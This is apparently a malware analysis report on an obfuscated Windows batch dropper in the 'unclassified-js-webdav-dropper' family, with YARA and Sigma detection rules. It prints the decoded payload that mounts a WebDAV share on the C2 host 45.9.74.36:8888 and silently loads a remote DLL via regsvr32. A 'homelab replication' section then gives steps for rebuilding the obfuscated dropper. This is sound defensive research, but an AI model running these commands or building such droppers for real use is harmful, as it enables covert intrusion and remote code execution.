unclassified-js-webdav-dropper: 9bea44f4 — Thirty-fifth confirmed sibling, natural-language SET obfuscation with leading word-salad padding, WebDAV C2 45.9.74.36:8888

Executive Summary

Pure Windows batch stager, thirty-fifth confirmed sibling of the unclassified-js-webdav-dropper family. Uses natural-language SET variable obfuscation (36 English-phrase variables) with ~40 lines of leading word-salad noise padding before the :quarrelsome label. Decodes to the same execution chain seen in siblings ffd5d894, e11665cf, dac5e0ee, b2a097ba, b32ea531, and 976dc607: color f0 && start wordpad decoy, then PowerShell-hidden net use WebDAV mount + regsvr32 /s remote DLL load against 45.9.74.36:8888. Static-only (batch script, no CAPE).

What It Is

• Filename: 1364719993119349940.bat ^[triage.json]
• Size: 13,231 bytes (13 KB) ^[file.txt]
• Type: ASCII text with CRLF line terminators, very long lines (2,240 chars) ^[file.txt]
• Family: unclassified-js-webdav-dropper — thirty-fifth confirmed sibling
• Family confidence: high — identical execution engine, same C2 IP, same variable-count (36), same natural-language SET naming convention, same leading word-salad padding pattern first observed in 976dc607

How It Works

The script begins with a goto quarrelsome jump over ~40 lines of natural-language noise padding (words like "glue", "meeting", "adhesive", "furry", "bore", etc.) ^[strings.txt:1-124]. This padding has no functional purpose; it is anti-triage noise designed to push the actual payload below the fold of casual string inspection.

At label :quarrelsome ^[strings.txt:124], the script defines 36 SET variables with long English-phrase names, each mapping to a single character:

The full dictionary is in the script body ^[strings.txt:125].

The payload is reassembled via batch %VAR% expansion on three lines ^[strings.txt:126-128]:

color f0&&start wordpad
start powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\4856915024395.dll
exit

Execution chain:

1. color f0 — sets console colors (decoy).
2. start wordpad — launches WordPad (legitimacy masquerade).
3. start powershell.exe -windowstyle hidden — spawns hidden PowerShell.
4. net use \\45.9.74.36@8888\davwwwroot\ — mounts attacker WebDAV share.
5. regsvr32 /s \\45.9.74.36@8888\davwwwroot\4856915024395.dll — silently registers the remote DLL (T1218.010).

Decompiled Behavior

Not applicable — batch script, not a PE. No Ghidra or radare2 analysis possible. The script is interpreted by cmd.exe at runtime.

C2 Infrastructure

Same C2 IP as siblings ffd5d894, e11665cf, dac5e0ee, b2a097ba, b32ea531, 976dc607, and the entire 45.9.74.36:8888 JScript dictionary cluster (fa7e181d, cb5d302f, d0124d62, d90baa30, a435a37b, aa8ff8b9, ade6cf68, b612dd70, be58d381, 92ce4217). The payload filename is throwaway — a different numeric string in every sibling.

Interesting Tidbits

• Leading word-salad padding — ~40 lines of noise before the functional :quarrelsome label. Same anti-triage refinement first observed in 976dc607. ^[strings.txt:1-124]
• Natural-language variable names — Unlike the shared-prefix short-suffix pattern (hbutcXXXX, nxbasXXXX) seen in the 45.9.74.32:8888 cluster, this batch uses grammatically plausible English phrases (firebreezyambiguous, dazzlingblessreceptive, currentaddictedterrible). Same style as ffd5d894, e11665cf, dac5e0ee, b2a097ba, b32ea531, and 976dc607. ^[strings.txt:125]
• No sandbox gate — No VM checks, no debugger checks, no connectivity checks, no process-list enumeration. Fire-and-forget execution. ^[dynamic-analysis.md]
• Static-only — CAPE skipped this sample because it is ASCII text, not a supported binary class. ^[dynamic-analysis.md]

How To Mess With It (Homelab Replication)

Goal: Reproduce the batch SET obfuscation + WebDAV dropper chain in your lab.

Toolchain: Notepad and cmd.exe. No compiler required.

Steps:

1. Write a benign test DLL (e.g., a simple COM DLL with DllRegisterServer that writes to %TEMP%\test.txt).
2. Host it on a WebDAV server:

   pip install wsgidav cheroot
   wsgidav --host=0.0.0.0 --port=8888 --root=/tmp/webdav --auth=anonymous
   

3. Build a batch script with 36 SET variables mapping English phrases to characters, then %VAR%-expand them into:

   color f0 && start wordpad
   start powershell.exe -windowstyle hidden net use \\YOUR.IP@8888\davwwwroot\ ; regsvr32 /s \\YOUR.IP@8888\davwwwroot\test.dll
   

4. Add 40 lines of word-salad noise before the :label.
5. Execute on a Windows VM. Verify with ProcMon: cmd.exe -> wordpad.exe + powershell.exe -> net.exe -> regsvr32.exe loading DLL from UNC.

What you'll learn: How trivial it is to bypass static string extraction with batch variable expansion, and how few EDRs flag regsvr32.exe with a UNC path by default.

Deployable Signatures

YARA Rule

rule Unclassified_JS_WebDAV_Dropper_Batch_NaturalLanguage_SET
{
    meta:
        description = "Detects pure-batch WebDAV dropper with natural-language SET obfuscation"
        author = "PacketPursuit"
        date = "2026-07-02"
        sha256 = "9bea44f4212f20276963dd4bdfaac9793a263827ae2909c0fa66d5fac9542160"
        family = "unclassified-js-webdav-dropper"

    strings:
        $set1 = "set " nocase ascii
        $netuse = "net use" nocase ascii
        $dav = "DavWWWRoot" nocase ascii
        $regsvr = "regsvr32" nocase ascii
        $pshidden = "-windowstyle hidden" nocase ascii
        $wordpad = "wordpad" nocase ascii
        $color = "color f0" nocase ascii

    condition:
        filesize < 25KB
        and #set1 >= 30
        and $netuse
        and $dav
        and $regsvr
        and $pshidden
        and $wordpad
        and $color
        and uint16(0) != 0x5A4D   // not a PE
        and uint16(0) != 0x4D5A   // not a PE
}

Sigma Rule

title: WebDAV Regsvr32 Execution from Batch Script
logsource:
    category: process_creation
    product: windows
detection:
    selection_regsvr32:
        CommandLine|contains:
            - 'regsvr32'
            - 'DavWWWRoot'
    selection_parent:
        ParentImage|endswith:
            - '\cmd.exe'
            - '\wscript.exe'
    selection_powershell:
        CommandLine|contains:
            - 'powershell'
            - '-windowstyle hidden'
            - 'net use'
    condition: selection_regsvr32 and selection_parent and selection_powershell
falsepositives:
    - Rare legitimate IT automation using WebDAV for software deployment
level: high

IOC List

Behavioral Fingerprint

This batch script defines 30+ SET variables with English-phrase names, each holding a single character. It reassembles the payload via %VAR% expansion into a three-line command: (1) set console colors and launch WordPad as a decoy, (2) spawn hidden PowerShell to mount a WebDAV share via net use and silently register a remote DLL via regsvr32 /s, (3) exit. The script contains ~40 lines of natural-language noise padding before the functional label. No sandbox gates, no VM checks, no persistence — one-shot execution.

Detection Signatures (ATT&CK)

References

• Entity page: unclassified-js-webdav-dropper
• Technique page: batch-powershell-variable-expansion-obfuscation
• Technique page: webdav-regsvr32-dll-sideloading
• Concept page: natural-language-payload-encoding
• Sibling analysis: 976dc607 — first observed leading word-salad padding variant ^[/intel/analyses/976dc6079cdd2f55efaccf08f0b16317523e6143dddbe825a82aa23be9d74acc.html]

Provenance

Analysis based on:

• file.txt — file utility output
• strings.txt — full script text with line numbers
• triage.json — triage metadata
• dynamic-analysis.md — CAPE skip note (batch script, not a supported binary)
• exiftool.json — file metadata (MIME text/plain, 180 lines, 1335 words)
• Manual batch variable expansion decoding via Python script
• Family context from unclassified-js-webdav-dropper entity page and 34 prior sibling analyses